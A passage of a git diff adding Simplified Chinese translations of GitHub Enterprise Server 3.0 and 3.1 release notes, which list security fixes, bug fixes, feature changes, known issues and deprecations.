- '**中:**在某些情况下,从团队或组织中删除的用户可以保留对已打开现有拉取请求的分支的写入权限。' + - 包已更新到最新的安全版本。 + bugs: + - 在初始安装过程的“配置 Actions 和 Packages”页面,当管理员点击“测试域设置”按钮时,测试未完成。 + - "运行 `ghe-btop` 失败,显示错误“找不到 'babeld' 容器”。" + - 升级后,由于内部和外部超时值不匹配,用户遇到服务不可用问题。 + - MSSQL 中的正常复制延迟会生成警告。 + - 管理控制台上的 GitHub Enterprise Clustering Guide 链接不正确。 + - 管理员使用“创建白名单条目”按钮添加的 IP 地址仍可能被锁定。 + - 对“依赖项关系图”和“Dependabot 警报”功能的引用显示在未启用它们的存储库中。 + - 对 `/hooks` 端点的HTTP POST 请求可能会因为 `hookID` 设置不正确而失败,并出现 401 响应。 + - "`build-server`进程未能清理进程,将它们留在 `defunct` 状态。" + - '`spokesd` 创建了过多的日志条目,包括“修复位置已跳过”短语。' + changes: + - 检查超过 4 个月的注释是否将存档。 + known_issues: + - "使用 `ghe-repo /` 通过管理 shell 访问存储库时将被挂起。解决方法是使用 `ghe-repo / -c \"bash -i\"`,直到下一个版本提供修复为止。" + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/9.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/9.yml new file mode 100644 index 0000000000..4a27a0b12c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/9.yml @@ -0,0 +1,24 @@ +date: '2021-06-10' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 升级 Actions 时,如果实例无法通过其配置的主机名自行提出请求,升级可能会失败。 + - SVN 1.7 及以下客户端在使用 `svn co` 和 `svn export` 命令时出现错误。 + - 使用 `ghe-repo /` 通过管理 shell 访问存储库会挂起。 + - 升级后,由于服务重启过于频繁,用户在重度使用期间可用性降低。这可能是由于 nomad 配置和内部服务的超时不一致造成的。 + - 在某些情况下,设置 GitHub Actions 后运行 `ghe-repl-status` 会产生错误,并且 `ghe-actions-teardown` 会失败。 + - '`ghe-dbconsole` 在某些情况下会返回错误。' + - "从非 GitHub 源导入组织或存储库失败可能会生成 `undefined method '[]' for nil:NilClass` 错误。" + - 使用 SAML 身份验证时,如果 GitHub 配置文件名称不匹配管理控制台中映射到“全名”字段的属性值,GitHub 配置文件名称可能已无意中更改。 + changes: + - "`firstPatchedVersion` 字段现在可以在 GraphQL API 中的 `SecurityVulability` 对象上使用。" + - GraphQL API 用户可在 `PullRequest` 对象上查询公共字段 `closingIssuesReferences`。该字段检索将在合并相关拉取请求时自动关闭的问题。这种方法还将允许将来迁移这些数据,作为更高保真度迁移过程的一部分。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/0-rc1.yml new file mode 100644 index 0000000000..75612a7f7f --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/0-rc1.yml @@ -0,0 +1,20 @@ +date: '2021-05-06' +release_candidate: true +deprecated: true +intro: "如果 {% data variables.product.product_location %} 正在运行候选发布版本,则无法使用热补丁升级。建议仅在测试环境中运行候选发布版本。" +sections: + security_fixes: + - '**中** 在某些情况下,从团队或组织中删除的用户可以保留对现有拉取请求打开的分支的写入权限。' + - 包已更新到最新的安全版本。 + bugs: + - '按计划执行的清理作业在具有很大的 `check_annotations` 表格的实例中会造成性能降级。' + changes: + - 超过 4 个月的检查注释将存档。 + - '`firstPatchedVersion` 字段现在可以在 GraphQL API 中的 `SecurityVulability` 对象上使用。' + known_issues: + - GitHub 包 npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。 + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/0.yml new file mode 100644 index 0000000000..c865ab62e4 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/0.yml @@ -0,0 +1,204 @@ +date: '2021-06-03' +intro: "有关最低的基础结构要求,请参阅“[关于 {% data variables.product.prodname_ghe_server %} 3.0 及更高版本的最低要求](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)”。" +sections: + features: + - heading: GitHub Advanced Security 机密扫码 + notes: + - |[机密扫描](https://github.com/features/security)现在一般可用于 {% data variables.product.prodname_ghe_server %} 3.1+ 版本。扫描公共和专用存储库以获取已提交的凭据,寻找机密,并在将它们提交到存储库时通知机密提供者或管理员。 + + + +此版本包括来自 {% data variables.product.prodname_ghe_server %} 上机密扫描的 beta 版本的多项改进: + + + +- 将我们的[模式覆盖范围](/enterprise-server@3.1/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-private-repositories)从 24 个合作伙伴扩展至 37 个 + +- 添加了一个 [API](/rest/reference/secret-scanning) 和 [Webhook](/developers/webhooks-and-events/webhook-events-and-payloads#secret_scanning_alert) + +- 添加了在作者提交机密时的[提交作者通知](https://github.blog/changelog/2021-03-05-secret-scanning-notifications-for-commit-authors-on-private-repositories/) + +- 更新了索引视图,使它更易于批量会审机密 + +- 减少了许多模式的假正率 + + + +使用 {% data variables.product.prodname_GH_advanced_security %} 的管理员可以[启用和配置](/enterprise-server@3.1/admin/configuration/configuring-secret-scanning-for-your-appliance) {% data variables.product.prodname_GH_advanced_security %} 机密扫描。可以在打开 {% data variables.product.prodname_GH_advanced_security %} 机密扫描之前查看[更新的平台最低要求](/enterprise-server@3.1/admin/installation/setting-up-a-github-enterprise-server-instance)。 + +| + - heading: GitHub Advanced Security 计费改进 + notes: + - |此版本包括对 {% data variables.product.prodname_ghe_server %} 中的 {% data variables.product.prodname_GH_advanced_security %} 计费的多项改进: + + + +- {% data variables.product.prodname_GH_advanced_security %} 客户现在可以在其组织或企业帐户的“计费”页面上查看其活动提交者计数和未使用提交者席位的剩余数量。如果为企业购买了 Advanced Security,管理员还可以查看企业内其他组织正在使用的活动提交者席位。有关详细信息,请参阅[关于 GitHub Advanced Security 许可](/enterprise-server@3.1/admin/advanced-security/about-licensing-for-github-advanced-security)”和“[查看 GitHub Advanced Security 使用情况](/enterprise-server@3.1/admin/advanced-security/viewing-your-github-advanced-security-usage)”。 + +- GitHub Advanced Security 客户现在可以在他们的组织或企业帐户的“计费”页面上查看任何启用 Advanced Security 的存储库的活动提交者计数。这些更改帮助计费管理员根据购买的提交者许可证跟踪使用情况。有关详细信息,请参阅“[管理组织的安全和分析设置](/enterprise-server@3.1/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”。 + +| + - heading: Dependabot 改进 + notes: + - |此版本包括对 {% data variables.product.prodname_ghe_server %} 中 Dependabot 警报的改进。 + + + +- 启用 Dependabot 警报的用户可以通过导航到 [GitHub 顾问数据库](https://github.com/advisories)中的条目来查看他们的哪些存储库受到给定漏洞的影响。此功能目前以公共 beta 版本提供。有关详细信息,请参阅“[查看和更新存储库中的漏洞依赖项](/enterprise-server@3.1/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository)”。 + +- 当漏洞被添加到 GitHub 顾问数据库时,你将不再收到Dependabot 关于中低严重性漏洞的警报的[电子邮件和 Web 通知](https://github.com/notifications)。这些警报仍然可以从存储库的“安全性”选项卡中访问。有关详细信息,请参阅“[查看和更新存储库中的漏洞依赖项](/enterprise-server@3.1/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository)”。 + +- 现在可以通过将 `SECURITY.md` 文件添加到存储库的 `root`、`docs` 或 `.github` 文件夹,来指导用户如何负责地报告项目中的安全漏洞。当有用户在你的存储库中创建问题时,他们会看到你项目的安全策略链接。有关详细信息,请参阅“[向存储库添加安全策略](/enterprise-server@3.1/code-security/getting-started/adding-a-security-policy-to-your-repository)”。 + +| + - heading: GitHub Actions 工作流可视化效果 beta 版本 + notes: + - |{% data variables.product.prodname_actions %} 现在可以在每次运行时生成工作流的可视化图。通过工作流程可视化效果,你可以: + +- 查看并了解复杂工作流 + +- 实时跟踪工作流进度 + +- 通过轻松访问日志和作业元数据快速运行故障排除 + +- 监视部署作业的进度,轻松访问部署目标 + + + +有关详细信息,请参阅“[使用可视化效果图](/actions/managing-workflow-runs/using-the-visualization-graph)”。 + +| + - heading: OAuth 2.0 设备授权 + notes: + - |[OAuth 2.0 设备授权](https://github.com/login/device)允许任何 CLI 客户端或开发人员工具使用带有浏览器的辅助系统进行身份验证。 + + + +除了现有 Web 应用程序流,使用 [OAuth 应用](/developers/apps/authorizing-oauth-apps#device-flow)和 [GitHub 应用](/developers/apps/authorizing-oauth-apps#device-flow)的管理员还可以启用和配置 OAuth 2.0 设备授权流。在启用 OAuth 2.0 设备授权流之前,可以查看[更新的平台最低要求](/enterprise-server@3.1/admin/installation/setting-up-a-github-enterprise-server-instance)。 + +| + - heading: 拉取请求自动合并 + notes: + - |通过自动合并,拉取请求可设置为当所有合并要求都满足时自动合并。这样用户无需为了合并拉取请求而不断检查其状态。自动合并可以由具有合并权限的用户启用,并在有不满意的合并要求的拉取请求上启用。有关详细信息,请参阅“[自动合并拉取请求](/enterprise-server@3.1/github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request)”。 + +| + - heading: 自定义通知 + notes: + - |可以自定义要从单个存储库接收的通知类型。有关详细信息,请参阅“[配置通知](/enterprise-server@3.1/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)”。 + +| + - heading: GitHub Mobile 筛选 + notes: + - |[{% data variables.product.prodname_mobile %}](https://github.com/mobile) 筛选功能允许你从设备中搜索和查找问题、提取请求和讨论。可以使用问题和拉取请求列表项的新元数据,根据被分派人、检查状态、审查状态和评论计数进行筛选。 + + + +{% data variables.product.prodname_mobile %} beta 版本适用于 {% data variables.product.prodname_ghe_server %}。通过我们的 [Android](https://play.google.com/store/apps/details?id=com.github.android) 和 [iOS](https://apps.apple.com/app/github/id1477376905) 应用登录,随时随地对通知进行分类、管理问题和拉取请求。管理员可以使用管理控制台或运行 `ghe-config app.mobile.enabled false` 来禁用其企业的移动支持。有关详细信息,请参阅“[GitHub Mobile](/get-started/using-github/github-mobile)”。 + +| + changes: + - heading: 管理更改 + notes: + - 通过预先计算校验和,存储库处于锁定状态的时间大大减少,进而允许更多的写入操作立即成功并改进单存储库性能。 + - "CodeQL CLI 的最新版本支持将分析结果上传到 GitHub。对于希望使用 CI/CD 系统的客户而言,相比 {% data variables.product.prodname_actions %},这使得运行代码分析更加轻松。以前,此类用户必须使用独立的 CodeQL 运行器,该运行器将继续可用。有关详细信息,请参阅“[关于 CI 系统中的 CodeQL 代码扫描](/enterprise-server@3.1/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)”。" + - '{% data variables.product.prodname_actions %} 现在支持通过在提交消息中寻找一些常见的关键字,以跳过 `push` 和 `pull_request` 工作流。' + - 超过四个月的检查注释将存档。 + - "修改了后台任务的工作人员分配比例。建议验证新默认值是否适合你的工作负载。在大多数情况下,不应设置自定义后台工作人员覆盖。[更新时间 2022-03-18]" + + - heading: 安全更改 + notes: + - "根据反馈,不再支持在未提交拉取请求 ID 时在拉取请求上显示代码扫描结果。有关详细信息,请参阅“[配置代码扫描](/enterprise-server@3.1/code-security/secure-coding/configuring-code-scanning#scanning-pull-requests)”和“[在 CI 系统中配置 CodeQL 代码扫描](/enterprise-server@3.1/code-security/secure-coding/configuring-codeql-code-scanning-in-your-ci-system#scanning-pull-requests)”。" + - SARIF 上传支持增加至每次上传最多 5000 个结果。 + + - heading: 开发人员更改 + notes: + - 在配置 GitHub 应用时,可以指定多个回叫 URL。这可以在具有多个域或子域的服务中使用。如果来自请求的回叫 URL 不在授权回叫 URL 列表中,GitHub 将始终拒绝授权。 + - GitHub 应用文件权限已更新,以允许应用程序开发者指定最多 10 个文件可供其应用申请只读或读写访问权限。 + - "CodeQL 现支持多种语言的更多[库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/),包括 ([C++](https://github.com/github/codeql/tree/main/cpp)、[JavaScript](https://github.com/github/codeql/tree/main/javascript、[Python](https://github.com/github/codeql/tree/main/python)、[Java](https://github.com/github/codeql/tree/main/java) 和 [Go](https://github.com/github/codeql-go/tree/main))。CodeQL 引擎现在可以检测到更多不受信任的用户数据源,这提高了代码扫描警报的质量和深度。有关详细信息,请参阅“[关于 CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)”。" + - 在配置 GitHub 应用时,授权回叫 URL 是必填字段。现在,我们允许开发人员指定多个回叫 URL。这可以在具有多个域或子域的服务中使用。如果来自请求的回叫 URL 不在授权回叫 URL 列表中,GitHub 将始终拒绝授权。 + - "从 Web 浏览器中删除整个文件目录(包括子目录)。有关详细信息,请参阅“[删除文件或目录](/enterprise-server@3.1/github/managing-files-in-a-repository/deleting-files-in-a-repository#deleting-a-directory)”。" + - '在问题、讨论或拉取请求评论的 `#` 后包括多个词以进一步缩小搜索范围。' + - '当你撰写问题、拉取请求或讨论评论时,项目符号、编号和任务的列表语法在按下 `return` 或 `enter` 后自动完成。' + + - heading: API 更改 + notes: + - "用户可以使用代码扫描 API 上传关于静态分析安全测试结果的数据,或导出警报相关数据。有关详细信息,请参阅[代码扫描 API 引用](/rest/reference/code-scanning)。" + - "用于管理安装的 [GitHub 应用 API](/rest/reference/apps)现在已经从 API 预览升级为正式发布的 API。[预览标头](/rest/overview/api-previews)不再需要访问这些终结点。" + + security_fixes: + - '中**** 在某些情况下,从团队或组织中删除的用户可以保留对现有拉取请求打开的分支的写入权限。' + - 包已更新到最新的安全版本。 + + bugs: + - heading: 修复候选发布中的已知问题 + notes: + - 除“已知问题”部分所列问题外,候选发布 1 中的所有已知问题均已解决。 + - heading: 其他问题的修复 + notes: + - 在初始安装过程的“配置 Actions 和 Packages”页面,点击“测试域设置”按钮未完成测试。 + - '运行 `ghe-btop` 失败并出现错误,找不到 `babeld` 容器。' + - 如果你更改了自动故障转移设置,MySQL 可能会重新加载并导致停机。 + - 升级后,内部和外部超时值不匹配导致服务不可用。 + - MSSQL 中的预期复制延迟会生成警告。 + - '管理控制台上的“[配置群集](/admin/enterprise-management/configuring-clustering)”链接不正确。' + - 在创建或编辑预接收挂钩时,用户界面中的争用条件意味着在选择存储库后,存储库中的文件有时不会填充到文件下拉列表中。 + - 当使用“创建白名单条目”按钮将 IP 地址添加到白名单时,它仍然可能显示为锁定。 + - 对“依赖项关系图”和“Dependabot 警报”功能的引用在某些存储库上未显示为禁用。 + - 在企业帐户设置中设置公告可能导致 500 内部服务器错误。 + - 对 `/hooks` 终结点的 HTTP POST 请求可能会因为 `hookID` 配置不正确而失败,出现 401 响应。 + - "`build-server` 进程未能清理进程,将它们留在 `defunct` 状态下。" + - '`spond` 创建了过多的日志条目,包括“修复位置已跳过”短语。' + - 升级 Actions 时,如果实例无法通过其配置的主机名自行提出请求,升级可能会失败。 + - 从 2.22.x 升级到 3.1.0.rc1 可能会导致与 `BackfillIntegrationApplicationCallbackUrlsTransition` 数据转换相关的数据库迁移错误。 + + known_issues: + - "使用 `ghe-repo /` 通过管理 shell 访问存储库时将被挂起。解决方法是使用 `ghe-repo / -c \"bash -i\"`,直到下一个版本提供修复为止。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 升级以前运行过 2.13 版本但未运行 2.14 版本的实例,会导致与 `AddRepositoryIdToCheckRuns` 数据转换相关的数据库迁移错误。 + - |在从 3.0.x 升级到 3.1.x 后,在某些情况下,GitHub Actions 可能会失败并出现错误:`执行此工作流程时发生意外错误`。要解决这个问题,请连接到管理 shell (ssh) 并运行: + +``` + +ghe-actions-console -s actions -c "Queue-ServiceJob -JobId 4DB1F4CF-19FD-40E0-A253-91288813DE8B" + +``` + +| + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + + deprecations: + - heading: 弃用 GitHub Enterprise Server 2.20 + notes: + - '{% data variables.product.prodname_ghe_server %} 2.20 已于 2021 年 3 月 2 日停用****。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.1/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 2.21 + notes: + - '{% data variables.product.prodname_ghe_server %} 2.21 于 2021 年 6 月 9 日停用****。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.1/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用旧版 GitHub 应用 Webhook 事件 + notes: + - '从 {% data variables.product.prodname_ghe_server %} 2.21.0 开始,两个与旧版 GitHub 应用相关的 Webhook 事件已弃用,并将在 {% data variables.product.prodname_ghe_server %} 3.2.0 中删除。已弃用的事件 `integration_installation` 和 `integration_installation_repositories` 具有将受支持的等效事件。[弃用公告博客文章](https://developer.github.com/changes/2020-04-15-replacing-the-installation-and-installation-repositories-events/)中提供了详细信息。' + - heading: 弃用旧版 GitHub 应用终结点 + notes: + - "从 {% data variables.product.prodname_ghe_server %} 2.21.0 开始,用于创建安装访问令牌的旧版 GitHub 应用终结点已弃用,并将在 {% data variables.product.prodname_ghe_server %} 3.2.0 中删除。 [弃用公告博客文章](https://developer.github.com/changes/2020-04-15-replacing-create-installation-access-token-endpoint/)中提供了详细信息。" + - heading: 弃用 OAuth 应用程序 API + notes: + - 'GitHub 不再支持包含 `access_token` 作为路径参数的 OAuth 应用程序终结点。我们引入了新终结点,可通过将 `access_token` 移动到请求正文来安全地管理 OAuth 应用令牌。虽然这些终结点已弃用,但在此版本中仍可访问。我们打算在 {% data variables.product.prodname_ghe_server %} 3.4 上删除这些终结点。有关详细信息,请参阅[弃用公告博客文章](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/)。' + - heading: GitHub Actions 精简版 SHA 支持弃用 + notes: + - '{% data variables.product.prodname_actions %} 将删除对使用 git 提交 SHA 精简版本引用操作的支持。这可能会导致存储库中的某些工作流中断。要修复这些工作流,你将需要更新操作引用以使用完整的提交 SHA。有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)”。' + - heading: 弃用 XenServer Hypervisor 支持 + notes: + - "从 {% data variables.product.prodname_ghe_server %} 3.1 开始,我们将终止对 Xen Hypervisor 的支持。计划在标准一年期弃用窗口期后在 {% data variables.product.prodname_ghe_server %} 3.3 中完全弃用。" + - heading: 更改身份验证令牌的格式会影响 GitHub Connect + notes: + # https://github.com/github/releases/issues/1235 + - |由于 GitHub 身份验证令牌的格式发生变化,6 月 3 日之后,运行 GitHub Enterprise Server 3.1 或更早版本的实例将不再使用 GitHub Connect。若要继续使用 GitHub Connect,请升级到 GitHub Enterprise Server 3.2 或更高版本。有关详细信息,请参阅 [GitHub 博客](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/)。[更新时间:2022-06-14] + +| + backups: + - '{% data variables.product.prodname_ghe_server %} 3.1 至少需要 [GitHub Enterprise Backup Utilities 3.1.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/enterprise-server@3.1/admin/configuration/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/1.yml new file mode 100644 index 0000000000..fb9e5497e9 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/1.yml @@ -0,0 +1,34 @@ +date: '2021-06-10' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - SVN 1.7 及以下客户端在使用 `svn co` 和 `svn export` 命令时出现错误。 + - 使用 `ghe-repo /` 通过管理 shell 访问存储库时将被挂起。 + - 升级后,由于服务重启过于频繁,用户在重度使用期间可用性降低。这可能是由于 nomad 配置和内部服务的超时不一致造成的。 + - 在某些情况下,设置 GitHub Actions 后运行 `ghe-repl-status` 会产生错误,并且 `ghe-actions-teardown` 会失败。 + - '`ghe-dbconsole` 在某些情况下会返回错误。' + - "从非 GitHub 源导入组织或存储库失败可能会生成 `undefined method '[]' for nil:NilClass` 错误。" + - 使用 SAML 身份验证时,如果 GitHub 配置文件名称不匹配管理控制台中映射到“全名”字段的属性值,GitHub 配置文件名称可能已无意中更改。 + - 升级以前运行过 2.13 版本但未运行 2.14 版本的实例,会导致与 `AddRepositoryIdToCheckRuns` 数据转换相关的数据库迁移错误。 + changes: + - GraphQL API 用户可在 `PullRequest` 对象上查询公共字段 `closingIssuesReferences`。该字段检索将在合并拉取请求时自动关闭的问题。这种方法还将允许将来迁移这些数据,作为更高保真度迁移过程的一部分。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - |在从 3.0.x 升级到 3.1.x 后,在某些情况下,GitHub Actions 可能会失败并出现错误:“执行此工作流程时发生意外错误”。要解决这个问题,请连接到管理 shell (ssh) 并运行: + +``` + +ghe-actions-console -s actions -c "Queue-ServiceJob -JobId 4DB1F4CF-19FD-40E0-A253-91288813DE8B" + +``` + +| + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/10.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/10.yml new file mode 100644 index 0000000000..0856cb8115 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/10.yml @@ -0,0 +1,21 @@ +date: '2021-10-28' +sections: + security_fixes: + - '明文密码可能会出现在某些日志文件中。' + - '多个已知弱 SSH 公钥已添加到拒绝列表中,无法再进行注册。此外,已知会生成弱 SSH 密钥的 GitKraken 版本(7.6.x、7.7.x 和 8.0.0)已被阻止注册新的公钥。' + - '包已更新到最新的安全版本。' + bugs: + - '如果业务流程协调程序运行不正常,企业服务器在群集模式下的还原可能会失败。' + - '拥有许多组织的用户无法使用应用程序的多个部分。' + - '修复了 https://docs.github.com 链接。' + changes: + - '具有多个引用的存储库的浏览和作业性能优化。' + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅提高性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可能创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/11.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/11.yml new file mode 100644 index 0000000000..50d70b18c8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/11.yml @@ -0,0 +1,28 @@ +date: '2021-11-09' +sections: + security_fixes: + - "在 {% data variables.product.prodname_ghe_server %} 中发现了在构建 {% data variables.product.prodname_pages %} 时出现的路径遍历漏洞,攻击者可利用该漏洞读取系统文件。要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和构建 {% data variables.product.prodname_pages %} 站点的权限。此漏洞影响 3.3 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.0.19、3.1.11 和 3.2.3 中修复。该漏洞通过 {% data variables.product.company_short %} Bug 悬赏计划报告,编号为 CVE-2021-22870。" + - 包已更新到最新的安全版本。 + bugs: + - "部分 Git 操作在升级 {% data variables.product.prodname_ghe_server %} 3.x 群集后失败,原因在于 HAProxy 配置。" + - 在群集模式下,Unicorn 辅助角色计数可能会设置错误。 + - 在群集模式下,Resqued 辅助角色计数可能会设置错误。 + - 如果 Ubuntu Uncomplicated Firewall (UFW) 处于不活动状态,客户端可能无法在日志中清楚地看到它。 + - "当 LDAP 配置中存在 UTF8 字符时,从 {% data variables.product.prodname_ghe_server %} 2.x 到 3.x 的升级会失败。" + - 某些页面和与 Git 相关的后台作业可能无法在具有某些群集配置的群集模式下运行。 + - "创建新标记时,[推送](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook 有效负载不显示正确的 `head_commit` 对象。现在,创建新标记时,推送 webhook 有效负载始终包括 `head_commit` 对象,其中包含新标签指向的提交数据。所以 `head_commit` 对象将始终包含有效负载 `after` 提交的提交数据。" + - "企业审核日志页面不会显示 {% data variables.product.prodname_secret_scanning %} 的审核事件。" + - 副本修复的作业超时时间不足。 + - '在查看文件时,不会警告用户有潜在危险的双向 unicode 字符。有关详细信息,请参阅 {% data variables.product.prodname_blog %} 中的“[有关双向 Unicode 文本的警告](https://github.co/hiddenchars)”。' + - Hookshot Go 发送了 Collectd 无法处理的分布类型指标,这导致解析错误激增。 + changes: + - 已添加 Kafka 配置改进。删除仓库时,现在会立即从存储帐户中删除包文件以释放空间。`DestroyDeletedPackageVersionsJob` 现在从存储帐户中删除过期包的包文件以及元数据记录。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 